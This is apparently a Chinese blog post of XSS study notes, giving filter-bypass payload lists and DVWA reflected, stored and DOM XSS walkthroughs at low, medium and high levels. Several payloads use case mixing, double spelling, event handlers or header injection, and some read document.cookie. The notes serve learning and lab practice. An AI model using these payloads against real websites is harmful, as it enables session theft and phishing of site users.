首页 > 其他分享 >XSS学习之路

XSS学习之路

时间:2023-09-15 11:01:49浏览次数:31  
标签:XSS xss 标签 DOM alert 学习 漏洞

alert():警告弹窗

XSS学习之路_漏洞利用

confirm():确定弹窗

XSS学习之路_漏洞利用_02

prompt():提示弹窗

XSS学习之路_XSS_03

payload

关键字测试:onfocus <script> <a href=javascript:alert()>

' sRc DaTa OnFocus onm ouseOver onm ouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus onm ouseOver onm ouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

插入一段js代码,get传参
url?name=<script>alert()</script>

闭合掉双引号--闭合绕过
">  <script>alert()</script>  <"

onfocus事件------可以利用这个事件来绕过<>号的过滤已达到执行js的目的
onfocus可以绕过html实体化(即<>号的过滤)
' onfocus=javascript:alert() '     单引号
" onfocus=javascript:alert() "     双引号


a href标签法-----可以插入标签(如<a>标签的href属性)达到js执行的效果,前提是闭合号<"">没失效
href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,
上面是转跳到一个网站,我们还可以触发执行一段js代码

"> <a href=javascript:alert()>xxx</a> <"


大小写过滤

"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <"

双拼写绕过
"> <a hrehreff=javasscriptcript:alert()>x</a> <"


href的隐藏属性自动Unicode解码

先插入一段js伪协议
javascript:alert()
利用工具进行unicode编码    https://www.matools.com/code-convert-unicode

javascript:alert()
直接插入href里


get传参t_sort
隐藏的input标签可以插入type="text"显示 
?t_sort=" onfocus=javascript:alert() type="text

referer头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
把><给删掉,可以用onfocus构造http头
Referer: " onfocus=javascript:alert() type="text

User-Agent头
" onfocus=javascript:alert() type="text



ng-include
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

?src='/level1.php?name=<img src=1 onm ouseover=alert()>'

空格替换成回车的url编码
<svg%0Aonload=alert(1)>

标签插入新姿势,<img>标签与<iframe>标签插入

这里配合onerror属性,插入一个<img>标签,闭合掉双引号跟括号
"> <img src='666' one rror=alert()> <"

当鼠标移出图片的时候执行的属性onmouseout 

"> <img src=666 onm ouseout="alert()"> <"

②当鼠标移动到图片的时候执行的属性onmouseover

"> <img src=1 onm ouseover="alert()"> <"


跨站脚本漏洞

危害

获取用户信息;(如浏览器信息,IP地址,cookie信息等)

钓鱼;(利用xss漏洞构造出一个登录框,骗取用户账户密码,提示登录过期,模拟一个网站的登录框,将用户名、密码发送到攻击者服务器

注入木马或广告链接

后台增删改网站数据等操作

xss蠕虫(微博蠕虫:只要扛过某人的微信就是自动关注某人;贴吧蠕虫:看过某个帖子,就会自动回复这个帖子)

反射性xss

见框就插,改url参数

经典测试   <script>alert("hack")</script>
大写绕过   <SCRIPT>alert("hack")</SCRIPT>
双写绕过   <scr<script>ipt>>alert("xss")</script>
其他标签   <img src=1 one rror=alert("hack")/>



Xss反射型:

反射型Xss <全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

low级别:

分析:

arrary_key_exists()函数:判断$_GET的值是否存在“name”键名。并且$_GET['name']的值是否不为空,满足这些条件

直接输出下面的输出语句。可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的xss漏洞。

漏洞利用构造语句:

<script>alert('XSS')</script> js和html有一个特性(创建了一个标签必须要比这个标签进行闭合)<title></title><body></body>



Medium级别:

分析:

这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入的<script>转化为空。然后在将name值输出。

这种防护机制是可以被轻送绕过的。

漏洞利用构造语句:

1.大小写混淆绕过(str_replace()函数不太完美,因为它区分大小写。)

<ScRipt>alert(/XSS/)</script>

<SCRIPT>alert(/xss/)</SCRIPT>

2.复写绕过 拼接:

<sc<script>ript>alert(/xss/)</script>

3.构造语句不适用<script>标签进行绕过

<img src=1 one rror=alert(/xss/)>

4.可弹出cookie值

<iframe src="" onl oad="alert(document.cookie)"></iframe>

标签解释:<img ..>标签是添加一个图片,src是指定图片的url,onerror是指定加载图片时如果出现错误则要执行的事件,

这里我们的图片url肯定是错误的,这个弹框事件也必定会执行



High级别:

分析:

High级别的代码同样使用黑名单过滤输入,preg_replace() 函数将包含<script的字符,不管大小写,不管后面跟着1个或多个与之相同的字符都转换为空。

用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

漏洞利用构造语句:

<img src=1 one rror=alert(/xss/)>


Xss存储型:

存储型XSS是指应用程序直接将攻击者提交的具有恶意代码存储到后台

在显示数据页面被访问时恶意脚本在浏览器因html注入导致页面执行恶意代码从而被攻击者控制浏览器

low级别:

修剪(字符串,字符列表)函数移除字符串两侧的空白字符或其他预定义字符,

预定义字符包括, \吨, \n, \X0B, \r以及空格,可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(字符串,连接)

函数法定字符串中的特殊符号(\ x00,\ n,\ r,\,',“,\ x1a)进行转义。斜线(字符串)函数删除字符串中的反斜杠。

可以看到,对输入没有做XSS方面的过滤与检查,并且存储在数据库中,因此这里存在明显的存储类型XSS中断。

漏洞利用构造语句:

1.<script>alert(/xss/)</script>

2.<script>alert(document.cookie)</script>

3.<img src="" one rror="alert(/xss/)"/>

可弹出cookice值

4.<iframe src="" onl oad="alert(document.cookie)"></iframe>



Medium级别:

用strip_tags()函数剥去字符串中的HTML,XML以及PHP的标签,但允许使用的<b>标签。

addlashes()函数返回在预定义字符(单引号,双引号,反斜杠,NULL)之前添加反斜杠的字符串。

可以看到,由于对消息参数使用了html特殊字符函数进行编码,因此无法再通过消息参数注入XSS代码,但是对于名称参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS

漏洞利用构造语句:

1.<sc<script>ript>alert(/xss/)</script>

2.<sCrIpt>alert(document.cookie)</scRipT>

3.<img src="" one rror="alert(/xss/)"/>

4.<iframe src="" onl oad="alert(document.cookie)"></iframe>

High级别:

可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img,iframe等其他危险的标签,因此名称参数依旧存在存储类型XSS。

漏洞利用构造语句:

1.<img src="" one rror="alert(/xss/)"/>

2.<iframe src="" onl oad="alert(document.cookie)"></iframe>


XSS DOM:

DOM XSS漏洞的产生

DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,

它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,

如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,

如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

low级别:

漏洞利用构造语句:

1.<script>alert(/XSS/)</script>



Medium级别:

漏洞利用构造语句:

1.</option></select><img src=1 one rror=alert(/xss/)>


High级别:

漏洞构造语句:

1.#<script>alert(/xss/)</script>

标签:XSS,xss,标签,DOM,alert,学习,漏洞
From: https://blog.51cto.com/u_16264288/7479285

相关文章

  • 通过实例学习鸿蒙动态库的创建与使用
    【本文正在参加2023「盲盒」+码有奖征文活动】,活动链接https://ost.51cto.com/posts/25284简要介绍动态共享包HSP(HarmonySharedPackage),是为了实现在不同HAP之间代码和资源的共享,HAR中的代码和资源跟随使用方编译,但HSP中的代码和资源可以独立编译,运行时在一个进程中,代码也只......
  • 【研究生学习】Pytorch基本知识
    本篇博客将记录Pytorch的基本知识,包括Pytorch的环境配置、Pytorch的结构,Pytorch的基本操作等Pytorch环境配置我是采用在Anaconda下安装Pytorch的方案,关于这个可以参考网上的大佬写的博客,跟着一步步走就行,比如下面这一篇:在Anaconda下安装Pytorch的超详细步骤除此之外,如果采用在......
  • 「学习笔记」莫比乌斯反演
    开新坑了。QWQ前置芝士:数论分块。(之后再说。QWQ)积性函数定义一个数论函数\(f(n)\)满足\(f(xy)=f(x)\timesf(y)\)(\(\gcd(x,y)=1\)),则称\(f(n)\)是积性函数。莫比乌斯函数:\(\mu(n)=\begin{cases}1&n=1\\0&n\\text{含有平方因子}\\(-1)^k&k\text{为}\n\\text{的......
  • 学习笔记二
    一、笔记(一)I/O库函数I/O库函数是在C和C++编程中广泛使用的文件操作函数,用于进行输入和输出操作。它们是构建在系统调用之上的高级接口,提供了更方便和高效的文件操作方法。(二)I/O库函数与系统调用I/O库函数与系统调用密切相关,它们封装了底层的系统调用,提供了更高级别、更易用的......
  • Python学习笔记-Python文件操作
    文件的编码简介计算机只能识别:0和1,那么我们丰富的文本文件是如何被计算机识别,并存储在硬盘中呢?使用编码技术(密码本)将内容翻译成0和1存入。编码技术即:翻译的规则,记录了如何将内容翻译成二进制,以及如何将二进制翻译回可识别内容。计算机中有许多可用编码:UTF-8GBKBig5等不同的编码,将......
  • pytorch(1) 学习资料
    https://tangshusen.me/Dive-into-DL-PyTorch/#/chapter03_DL-basics/3.1_linear-regression  https://pytorch.zhangxiann.com/1-ji-ben-gai-nian/1.2-tensor-zhang-liang-jie-shao  https://datawhalechina.github.io/thorough-pytorch/%E7%AC%AC%E4%B8%83%E7%AB%A0/7......
  • openGauss学习笔记-69 openGauss 数据库管理-创建和管理普通表-更新表中数据
    openGauss学习笔记-69openGauss数据库管理-创建和管理普通表-更新表中数据修改已经存储在数据库中数据的行为叫做更新。用户可以更新单独一行、所有行或者指定的部分行。还可以独立更新某个字段,而其他字段则不受影响。使用UPDATE命令更新现有行,需要提供以下三种信息:表的名称......
  • Java学习_009_for循环
    循环结构:组成:1.初始化语句:用于表示循环开启时的起始状态,简单说就是循环开始的时候是什么样子;2.条件判断语句:用于表示循环反复执行的条件,简单说就是判断循环是否能够一直执行下去;3.循环体语句:用于表示循环反复执行的内容,简单说就是循环反复执行的事情;4.条件控制语句:用于表示循......
  • Java学习_007_Switch语句
    需求:输入一到七的任意一个数,输出该数字对应的星期数。使用Switch语句:1importjava.util.Scanner;23publicclassMain{4publicstaticvoidmain(String[]args){5Scannersc=newScanner(System.in);6System.out.println("请输入一......
  • SQL的学习 01
    受朋友邀请发第一篇博文,加入51CTO!我是一个初学者,最近在接触SQL,本篇浅记自己的学习。当你准备进入数据库世界,学习SQL(StructuredQueryLanguage)是一个非常重要的第一步。SQL是用于管理和操作关系型数据库的标准语言,无论你是想成为一名数据分析师、数据库管理员还是开发人员,都需要掌......